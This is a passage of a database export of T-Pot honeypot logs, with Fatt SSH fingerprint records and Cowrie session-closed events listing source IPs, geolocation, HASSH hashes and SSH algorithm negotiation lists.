"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 50890, "dest_port": 22, "timestamp": "2021-09-20T11:06:54.141137", "@timestamp": "2021-09-20T11:06:54.141Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21442	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:06:54.218622+03	2021-09-20 14:15:03.670643+03	{"_id": "KAbjAnwBvYTbRNuELgQU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 44182, "dest_port": 22, "timestamp": "2021-09-20T11:06:54.218622", "@timestamp": "2021-09-20T11:06:54.218Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21443	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:54.315467+03	2021-09-20 14:15:03.671642+03	{"_id": "HAbjAnwBvYTbRNuELgQQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "17afc4ffe90f", "@version": "1", "duration": 3.4502627849578857, "timestamp": "2021-09-20T11:06:54.315467Z", "@timestamp": "2021-09-20T11:06:54.315Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21444	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:54.242881+03	2021-09-20 14:15:03.673642+03	{"_id": "KgbjAnwBvYTbRNuELgQU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 51880, "dest_port": 22, "timestamp": "2021-09-20T11:06:54.242881", "@timestamp": "2021-09-20T11:06:54.242Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21445	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:54.322407+03	2021-09-20 14:15:03.674645+03	{"_id": "KwbjAnwBvYTbRNuELgQU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35516, "timestamp": "2021-09-20T11:06:54.322407", "@timestamp": "2021-09-20T11:06:54.322Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21446	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:54.811873+03	2021-09-20 14:15:03.675614+03	{"_id": "IQbjAnwBvYTbRNuELgQQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "8f3b30debfb6", "@version": "1", "duration": 3.210575580596924, "timestamp": "2021-09-20T11:06:54.811873Z", "@timestamp": "2021-09-20T11:06:54.811Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21447	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:55.195981+03	2021-09-20 14:15:03.677644+03	{"_id": "QQbjAnwBvYTbRNuEMQRI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59056, "dest_port": 22, "timestamp": "2021-09-20T11:06:55.195981", "@timestamp": "2021-09-20T11:06:55.195Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21448	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:55.852637+03	2021-09-20 14:15:03.678654+03	{"_id": "QAbjAnwBvYTbRNuEMQRI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 49806, "dest_port": 22, "timestamp": "2021-09-20T11:06:55.852637", "@timestamp": "2021-09-20T11:06:55.852Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21449	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:55.23248+03	2021-09-20 14:15:03.680642+03	{"_id": "PQbjAnwBvYTbRNuEMQRI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": 